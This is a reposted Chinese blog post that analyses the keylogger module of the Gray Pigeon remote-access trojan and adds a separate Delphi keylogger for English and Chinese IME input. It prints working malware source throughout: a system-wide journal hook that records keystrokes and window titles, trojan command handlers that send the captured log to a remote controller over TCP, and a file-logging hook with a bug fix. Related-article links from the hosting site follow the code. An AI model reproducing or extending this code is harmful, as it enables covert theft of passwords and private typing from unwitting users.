灰鸽子键盘记录源码分析及一个中英文键盘记录代码

简介:
灰鸽子键盘记录源码分析及一个中英文键盘记录代码
2006年11月21日 星期二 下午 3:11
首先是:

var
LogHook: HHook = 0;

HookList: TStringList;

函数:

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
   Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
   exit;
end;
if (iCode = HC_ACTION) then
begin
   pEvt := Pointer(DWord(lParam));

   FocusWnd := GetActiveWindow;
   if LastFocusWnd <> FocusWnd then
   begin
     if hookkey<>'' then
     begin
       HookList.Add(hookkey);
       hookkey :='';
     end;
     HookList.Add('======End=====');
     HookList.Add('=====begin====');
     GetWindowText(FocusWnd, Title, 256);
     LastFocusWnd := FocusWnd;
     Time := DateTimeToStr(Now);
     HookList.Add(Time + Format('Title:%s', [Title]));
   end;

   if pEvt.message = WM_KEYDOWN then
   begin
     vKey := LOBYTE(pEvt.paramL);
     iShift := GetKeyState($10);
     iCapital := GetKeyState($14);
     iNumLock := GetKeyState($90);
     bShift := ((iShift and KeyMask) = KeyMask);
     bCapital := ((iCapital and 1) = 1);
     bNumLock := ((iNumLock and 1) = 1);

     //HookList.Add('这是vKey:'+inttostr(vKey));

     if ((vKey >= 48) and (vKey <= 57)) then
     begin
       if not bShift then
         begin
         ch := Char(vKey);
         end else begin
         case vKey of
           48: ch := ')';
           49: ch := '!';
           50: ch := '@';
           51: ch := '#';
           52: ch := '$';
           53: ch := '%';
           54: ch := '^';
           55: ch := '&';
           56: ch := '*';
           57: ch := '(';
         end;
       end;
       hookkey:=hookkey+ch;
     end;
     if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
     begin
     if not bCapital then
     begin
       if bShift then
         ch := Char(vKey)
       else
         ch := Char(vKey + 32);
     end
     else begin
       if bShift then
         ch := Char(vKey + 32)
       else
         ch := Char(vKey);
     end;
     hookkey:=hookkey+ch;
     end;
     if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
     if bNumLock then
     hookkey:=hookkey+Char(vKey - 96 + 48);
     ch:='n';
     if (VKey > 105) and (VKey <= 111) then
     begin
     case vKey of
       106: ch := '*';
       107: ch := '+';
       109: ch := '-';
       111: ch := '/';
     else
       ch := 'n';
     end;
     end;
     if (vKey >= 186) and (vKey <= 222) then // 其他键
     begin
     case vKey of
       186: if not bShift then ch := ';' else ch := ':';
       187: if not bShift then ch := '=' else ch := '+';
       188: if not bShift then ch := ',' else ch := '<';
       189: if not bShift then ch := '-' else ch := '_';
       190: if not bShift then ch := '.' else ch := '>';
       191: if not bShift then ch := '/' else ch := '?';
       192: if not bShift then ch := '`' else ch := '~';
       219: if not bShift then ch := '[' else ch := '{';
       220: if not bShift then ch := '\' else ch := '|';
       221: if not bShift then ch := ']' else ch := '}';
       222: if not bShift then ch := Char(27) else ch := '"';
     else
       ch := 'n';
     end;
     end;
     if ch <> 'n' then
     hookkey:=hookkey+ ch;

     // if (wParam >=112 && wParam<=123) // 功能键    [F1]-[F12]
     if (vKey >= 8) and (vKey <= 46) then //方向键
     begin
     ch := ' ';
     case vKey of
       8: str := '[退格]';
       9: str := '[TAB]';
       13: str := '[Enter]';
       32: str := '[空格]';
       33: str := '[PageUp]';
       34: str := '[PageDown]';
       35: str := '[End]';
       36: str := '[Home]';
       37: str := '[LF]';
       38: str := '[UF]';
       39: str := '[RF]';
       40: str := '[DF]';
       45: str := '[Insert]';
       46: str := '[Delete]';
     else
       ch := 'n';
     end;
     if ch <> 'n' then
     begin
       //if PrvChar<>Char(vKey) then
       //begin
         hookkey :=hookkey+str;
       // PrvChar := Char(vKey);
       //end;
     end;
     end;
   end ;
{    else
     if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
     begin
     if hookkey<>'' then
       begin
         HookList.add(Hookkey);
         hookkey:='';
       end;
     if pEvt.message = WM_LBUTTONDOWN then
       TempStr := '鼠标左键: '
     else
       TempStr := '鼠标右键: ';
     HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
     end;
   //CloseFile(LogFile); }
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;


/////////////////////////////////////////////////////////////////////////////////////

if StrTmpList[1]='039' then
   begin    {启动键盘记录}
   if LogHook = 0 then
     begin
       Request:='Cmd009';        //启动键盘记录成功!查看记录前请先终止键盘记录!
       LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
     end else begin
       Request:='Cmd010';        //键盘记录已经启动过了!
     end;
   if Request='' then Request:='Cmd011';      //启动键盘记录成功!查看记录前请先终止键盘记录!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='040' then
   begin    {终止键盘记录}
   try
     if LogHook <> 0 then
       begin
       UnhookWindowsHookEx(LogHook);
       LogHook := 0;
       HookList.Add(Hookkey);
       HookList.Add('*********End**********');
       Hookkey:='';
       end;
   except
   end;
   Request:='Cmd012';      //终止键盘记录成功!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='041' then
   begin    {查看键盘记录}
   Request:=HookList.Text;
   if Request='' then
   begin
     Request:='NULL'; //键盘记录为空.
   end;
   SendStreamToClient(IdTCPClient1,'018',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='042' then
   begin    {清空键盘记录}
   try
     HookList.Clear;
   except
   end;
   Request:='Cmd014';      //清空键盘记录完成!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;



function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;

这是一个钩子的回调函数。当用下边用SetWindowsHookEx安装了一个WH_JOURNALRECORD类型的钩子成功后,
就会调用这个回调函数,也就是执行回调函数的功能

WH_JOURNALRECORD 类型的钩子用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,
然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD 钩子是全局钩子,它不能象线程特定钩子一样使用。

像黑洞那样的能记录下输入的汉字和字符的一般都 是安装WH_GETMESSAGE类型 的钩子

然后用回调函数过滤出英文字符和汉字。
++++++++++++++++++++++++++++++++++++++++++++++++
一个中英文键盘记录代码 

一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)
一个问题:自己测试发现遇到退格键时会记录成 [<=](多出前面一个),下面给出关键代码,大家试试看还有

什么问题,如何解决?


function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;
var
pcs:pMSG;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
   if pcs^.wParam<$30 then
   begin
   if pcs^.wParam=VK_UP then ToFileProc('[↑]')
   else
   if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
   else
   if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
   else
   if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
   else
   if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
   else
   if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
   else
   if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
   else
   if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
   else
   if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
   else
   if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
   end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
   if not (IsDBCSleadByte(pcs^.wParam)) then
   begin
   if (wParam and PM_REMOVE)>0 then
   begin
     if pcs^.wParam=VK_SPACE then ToFileProc(' ')
     else
     if pcs^.wParam=VK_RETURN then ToFileProc('#10')
     else
     ToFileProc(char(pcs^.wParam AND $FF))
   end;
   end;
end;
end;
pcs:=nil;
end;

function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
if PCs^.message = WM_IME_COMPOSITION then
   begin
   hFocus := GetFocus();
   HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
   if HIMC = 0 then Exit;
   //将ImmGetCompositionString的获取长度设为0来获取字符串大小.
   dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
   if dwLen > 0 then
   begin
     // 再调用一次.ImmGetCompositionString获取字符串
     if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
     begin
     if strcomp(cchar,cchar2)<>0 then
     ToFileProc(cchar);
     strcopy(cchar2,cchar);
     ZeroMemory(@cchar,20);
     end;
   end;
   ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;

删除前面一个字符串就好了
这个东西你可以先声明一个string.
然后有消息进入的时候事先读取已经存储的字符串
然后删除前面一位再写回去就好了
或者你直接操作字符串也可以把当前输入指针的前面一位给替换撑0x00就OK了


本文转自9pc9com博客,原文链接:     http://blog.51cto.com/215363/916121   如需转载请自行联系原作者
相关文章
|
存储 Web App开发 人工智能
『GitHub项目圈选18』推荐5款本周 超实用 的开源项目
『GitHub项目圈选18』推荐5款本周 超实用 的开源项目
1062 1
|
消息中间件 移动开发 JavaScript
JSBridge:混合开发中的双向通信[Android、iOS&JavaScript]
WebView 是移动端中的一个控件,它为 JS 运行提供了一个沙箱环境。WebView 能够加载指定的 url,拦截页面发出的各种请求等各种页面控制功能,JSB 的实现就依赖于 WebView 暴露的各种接口。由于历史原因,IOS以8为分界,Android以4.4为分界,分为高低两个版本。而它们的区别在于 —— 回调。高版本可以通过执行回调拿到 JS 执行完毕的返回值,然后准确进行下一步操作。而低版本无法执行回调!Hybrid App 的核心。
JSBridge:混合开发中的双向通信[Android、iOS&JavaScript]
|
数据采集 安全
主动扫描和被动扫描
在扫描器中输入目标域名或者URL用爬虫模块爬取所有链接,对GET、POST等请求进行参数变形和污染,进行重放测试,然后依据返回信息中的状态码、数据大小、数据内容关键字等去判断该请求是否含有相应的漏洞。
1140 0
主动扫描和被动扫描
|
3月前
|
算法 数据可视化 异构计算
SparseGPT:大规模语言模型的一次性精确剪枝——论文解读
SparseGPT提出首个可高效剪枝百亿参数大模型的一次性精确方法,通过稀疏回归与近似求解器实现高稀疏度下仍保持精度,支持半结构化稀疏与量化联合压缩,显著降低推理成本。
364 3
SparseGPT:大规模语言模型的一次性精确剪枝——论文解读
|
10月前
|
存储 安全 UED
Cyber Triage 3.13 for Windows - 数字取证和事件响应
Cyber Triage 3.13 for Windows - 数字取证和事件响应
273 71
Cyber Triage 3.13 for Windows - 数字取证和事件响应
|
7月前
|
Linux 编译器 开发工具
提升CentOS 7中的gcc/G++版本
至此,你已经成功在CentOS 7中升级了gcc/G++版本。从现在开始,在终端中运行 `gcc`或 `g++`时,将会使用新版本的编译器。
622 21
|
搜索推荐 Java UED
SpringBoot 自定义启动画面:打造个性化应用启动体验
【10月更文挑战第7天】在软件开发中,细节往往能够体现一个团队的专业性和对用户体验的关注。SpringBoot作为快速构建Spring应用的框架,其简洁的启动流程和强大的功能深受开发者喜爱。然而,默认的启动画面可能略显单调,无法充分展示应用的特色或品牌。本文将详细介绍如何为SpringBoot应用自定义启动画面,让应用在启动时就能给人留下深刻印象。
418 1
|
算法 安全 数据安全/隐私保护
Android经典实战之常见的移动端加密算法和用kotlin进行AES-256加密和解密
本文介绍了移动端开发中常用的数据加密算法,包括对称加密(如 AES 和 DES)、非对称加密(如 RSA)、散列算法(如 SHA-256 和 MD5)及消息认证码(如 HMAC)。重点讲解了如何使用 Kotlin 实现 AES-256 的加密和解密,并提供了详细的代码示例。通过生成密钥、加密和解密数据等步骤,展示了如何在 Kotlin 项目中实现数据的安全加密。
795 1
|
资源调度 前端开发 JavaScript
Python学习二:Python包管理器pip
这篇文章介绍了Python包管理器pip的基本概念、基本操作、如何更改下载源为国内镜像以加速下载,以及如何指定安装包的位置。
562 0
Python学习二:Python包管理器pip
|
网络协议 Linux 开发工具
使用Xshell连接VMware上的Linux虚拟机
使用Xshell连接VMware上的Linux虚拟机
621 0
使用Xshell连接VMware上的Linux虚拟机

热门文章

最新文章